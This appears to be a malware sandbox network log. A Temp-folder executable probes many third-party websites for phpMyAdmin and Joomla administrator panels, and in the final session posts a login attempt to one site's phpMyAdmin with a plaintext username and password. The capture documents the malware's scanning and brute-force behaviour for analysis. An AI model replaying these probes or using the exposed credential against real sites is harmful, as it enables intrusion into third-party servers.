2023-12-20 02:13:21 UTC	183	OUT	GET /phpmyadmin/ HTTP/1.1 Host: jayshreeautomation.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	298	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:21 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: bytes Vary: Accept-Encoding Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Content-Length: 1699 Content-Type: text/html
2023-12-20 02:13:21 UTC	1699	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 Data Ascii: <!DOCTYPE html><html><head><title>File Not Found</title><meta http-equiv="content-type" content="text/html; charset=utf-8" ><meta name="viewport" content="width=device-width, initial-scale=1.0"><style type="text/css">body { background-color: #eee

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	52473	192.185.100.42	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:21 UTC	171	OUT	GET /404.html HTTP/1.1 Host: conalcorp.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	371	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:21 GMT Server: Apache X-Robots-Tag: noindex, nofollow Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sat, 01 Oct 2022 14:51:41 GMT Accept-Ranges: bytes Content-Length: 11816 Vary: Accept-Encoding Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Content-Type: text/html
2023-12-20 02:13:21 UTC	7821	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 20 70 72 6f 66 69 6c 65 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Typ
2023-12-20 02:13:21 UTC	3995	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 52 65 77 72 69 74 65 52 75 6c 65 20 5e 69 6e 64 65 78 2e 70 68 70 24 20 2d 20 5b 4c 5d 3c 62 72 3e 0a 09 09 09 09 09 09 09 09 09 09 52 65 77 72 69 74 65 43 6f 6e 64 20 25 7b 52 45 51 55 45 53 54 5f 46 49 4c 45 4e 41 4d 45 7d 20 21 2d 66 3c 62 72 3e 0a 09 09 09 09 09 09 09 09 09 09 52 65 77 72 69 74 65 43 6f 6e 64 20 25 7b 52 45 51 55 45 53 54 5f 46 49 4c 45 4e 41 4d 45 7d 20 21 2d 64 3c 62 72 3e 0a 09 09 09 09 09 09 09 09 09 09 52 65 77 72 69 74 65 52 75 6c 65 20 2e 20 2f 69 6e 64 65 78 2e 70 68 70 20 5b 4c 5d 3c 62 72 3e 0a 09 09 09 09 09 09 09 09 09 09 26 6c 74 3b 2f 49 66 4d 6f 64 75 6c 65 26 67 74 3b 3c 62 72 3e 0a 09 09 09 09 09 09 09 09 09 09 23 20 45 6e 64 20 57 6f 72 64 50 72 65 73 73 0a 09 09 09 09 09 09 09 09 09 3c Data Ascii: RewriteRule ^index.php$ - [L]<br>RewriteCond %{REQUEST_FILENAME} !-f<br>RewriteCond %{REQUEST_FILENAME} !-d<br>RewriteRule . /index.php [L]<br></IfModule><br># End WordPress<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	52439	185.103.16.167	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:21 UTC	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: mgbymags.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	1350	IN	HTTP/1.1 401 Unauthorized Connection: close set-cookie: pma_lang_https=en; expires=Fri, 19-Jan-2024 02:13:21 GMT; Max-Age=2592000; path=/phpmyadmin/; samesite=Strict; secure; HttpOnly set-cookie: phpMyAdmin_https=pc80s6dit7dqkbmpk8l8i67ncu; path=/phpmyadmin/; secure; HttpOnly x-ob_mode: 1 www-authenticate: Basic realm="phpMyAdmin localhost" x-frame-options: DENY referrer-policy: no-referrer content-security-policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; x-content-security-policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; x-webkit-csp: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none'; x-xss-protection: 1; mode=block x-content-type-options: nosniff x-permitted-cross-domain-policies: none x-robots-tag: noindex, nofollow expires: Wed, 20 Dec 2023 02:13:21 +0000 cache-control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0 pragma: no-cache last-modified: Wed, 20 Dec 2023 02:13:21 +0000 content-type: text/html; charset=utf-8
2023-12-20 02:13:22 UTC	309	IN	Data Raw: 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 2c 55 73 65 72 2d 41 67 65 6e 74 2c 55 73 65 72 2d 41 67 65 6e 74 0d 0a 74 72 61 6e 73 66 65 72 2d 65 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 64 61 74 65 3a 20 57 65 64 2c 20 32 30 20 44 65 63 20 32 30 32 33 20 30 32 3a 31 33 3a 32 31 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 4c 69 74 65 53 70 65 65 64 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 32 35 39 32 30 30 30 2c 20 68 33 2d 32 39 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 32 35 39 32 30 30 30 2c 20 68 33 2d 51 30 35 30 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 32 35 39 32 30 30 30 2c 20 68 33 2d 51 30 34 36 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 32 35 39 32 30 30 30 2c 20 68 33 2d 51 30 34 33 3d 22 3a 34 34 Data Ascii: vary: Accept-Encoding,User-Agent,User-Agenttransfer-encoding: chunkeddate: Wed, 20 Dec 2023 02:13:21 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":44
2023-12-20 02:13:22 UTC	12550	IN	Data Raw: 33 30 66 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 30fe<!doctype html><html lang="en" dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="referrer" content="no-referrer"> <meta name="robots" content="noindex
2023-12-20 02:13:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	52901	54.69.113.134	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:21 UTC	183	OUT	GET /phpmyadmin/ HTTP/1.1 Host: atelcommunications.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	176	IN	HTTP/1.1 301 Moved Permanently Location: https://www.atelcommunications.com/phpmyadmin/ Date: Wed, 20 Dec 2023 02:13:21 GMT Connection: close Transfer-Encoding: chunked
2023-12-20 02:13:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	52661	95.128.72.24	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:21 UTC	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: meurrens.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	253	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:21 GMT Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 Content-Language: en
2023-12-20 02:13:21 UTC	4	IN	Data Raw: 31 65 0d 0a Data Ascii: 1e
2023-12-20 02:13:21 UTC	30	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 Data Ascii: <?xml version="1.0" encoding="
2023-12-20 02:13:21 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:21 UTC	4	IN	Data Raw: 61 66 0d 0a Data Ascii: af
2023-12-20 02:13:21 UTC	10	IN	Data Raw: 49 53 4f 2d 38 38 35 39 2d 31 Data Ascii: ISO-8859-1
2023-12-20 02:13:21 UTC	165	IN	Data Raw: 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 Data Ascii: "?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="
2023-12-20 02:13:21 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:21 UTC	3	IN	Data Raw: 65 0d 0a Data Ascii: e
2023-12-20 02:13:21 UTC	2	IN	Data Raw: 65 6e Data Ascii: en
2023-12-20 02:13:21 UTC	12	IN	Data Raw: 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 Data Ascii: " xml:lang="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	52987	151.101.1.195	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:21 UTC	184	OUT	GET /administrator/ HTTP/1.1 Host: geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	459	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 62 Location: https://www.geoffreynolds.com.au/administrator/ Content-Type: text/plain; charset=utf-8 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:21 GMT X-Served-By: cache-pdk-kfty2130034-PDK X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038402.601754,VS0,VE28 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:21 UTC	62	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 6f 66 66 72 65 79 6e 6f 6c 64 73 2e 63 6f 6d 2e 61 75 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f Data Ascii: Redirecting to https://www.geoffreynolds.com.au/administrator/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	52682	77.72.0.94	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:21 UTC	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: lunarrastar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:22 UTC	434	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Wed, 20 Dec 2023 02:13:22 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2023-12-20 02:13:22 UTC	934	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s
2023-12-20 02:13:22 UTC	304	IN	Data Raw: 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e Data Ascii: 5, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	53047	199.34.228.100	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:21 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: guymassey.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:22 UTC	202	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:21 GMT Server: Apache Location: https://www.guymassey.com/phpmyadmin/ Content-Length: 245 Content-Type: text/html; charset=iso-8859-1
2023-12-20 02:13:22 UTC	245	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 75 79 6d 61 73 73 65 79 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.guymassey.com/phpmyadmin/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	53159	199.60.103.25	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:21 UTC	413	OUT	GET /administrator/ HTTP/1.1 Host: greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=51b2c07972f11457876a1a8b596b46148bb1a362-1703038399; __cf_bm=NlX5Z2_FukgdJcsS9lcmVM.sHG_GjRM5t1Dh4A.vnLU-1703038399-1-AcjChHl6Lg2sHesyBRA6/sQaMJKsM90K8ZNT/gl9WtQ30hLCqLhOw0GDQPfa2EfRlkrb7xU1xI+VNOkhd1XouK8= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:22 UTC	762	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Length: 0 Connection: close Location: https://www.greenlawnfertilizing.com/administrator/ Cache-Control: s-maxage=3600,max-age=120 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests X-Hs-Https-Only: worker Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OEY%2Bl067s%2BCuE7jtQ%2BfzK27rzClNUpVkz6Pa2d9FApPLEh1mqoTYQ1uYnMLBkg9lVX5MjizRm1ZIS9iinfSFySpnMxHa5gDAovDTP29r%2B4Qy4D2Qr7%2FE3nO73rAikgyPs4BllGQpzwgAsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845d9d0d447440-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	53087	157.112.187.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:21 UTC	171	OUT	GET /phpmyadmin/ HTTP/1.1 Host: wakux2.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:22 UTC	216	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 678 Connection: close Last-Modified: Thu, 14 Apr 2022 01:58:45 GMT ETag: "2a6-5dc93a25e36a2"
2023-12-20 02:13:22 UTC	678	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="Pragma

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	53266	172.67.181.211	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	378	OUT	POST /phpmyadmin/index.php HTTP/1.1 Host: entexclusives.com Accept: / Accept-Encoding: deflate, gzip Cookie: phpMyAdmin_https=i2t73nslli16b0kto0bhlqjrd5; pma_lang_https=en User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://entexclusives.com/phpmyadmin/ Content-Length: 173 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:22 UTC	173	OUT	Data Raw: 73 65 74 5f 73 65 73 73 69 6f 6e 3d 69 32 74 37 33 6e 73 6c 6c 69 31 36 62 30 6b 74 6f 30 62 68 6c 71 6a 72 64 35 26 70 6d 61 5f 75 73 65 72 6e 61 6d 65 3d 61 64 6d 69 6e 25 34 30 65 6e 74 65 78 63 6c 75 73 69 76 65 73 2e 63 6f 6d 26 70 6d 61 5f 70 61 73 73 77 6f 72 64 3d 53 59 31 31 42 47 25 32 41 26 73 65 72 76 65 72 3d 31 26 74 61 72 67 65 74 3d 69 6e 64 65 78 2e 70 68 70 26 6c 61 6e 67 3d 65 6e 26 74 6f 6b 65 6e 3d 32 32 36 65 37 30 34 66 37 62 34 66 34 36 32 32 37 32 34 39 35 31 35 32 32 36 34 64 33 38 35 34 Data Ascii: set_session=i2t73nslli16b0kto0bhlqjrd5&pma_username=admin%40entexclusives.com&pma_password=SY11BG%2A&server=1&target=index.php&lang=en&token=226e704f7b4f462272495152264d3854
2023-12-20 02:13:22 UTC	1343	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: goto_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: back_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: phpMyAdmin_https=tdmtnsh60kftcs5o196idbi7ce; path=/phpmyadmin/; secure; HttpOnly Set-Cookie: pmaAuth-1_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure X-ob_mode: 1 X-Frame-Options: DENY Referrer-Policy: no-referrer Content-Security-Policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-WebKit-CSP: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none'; X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow
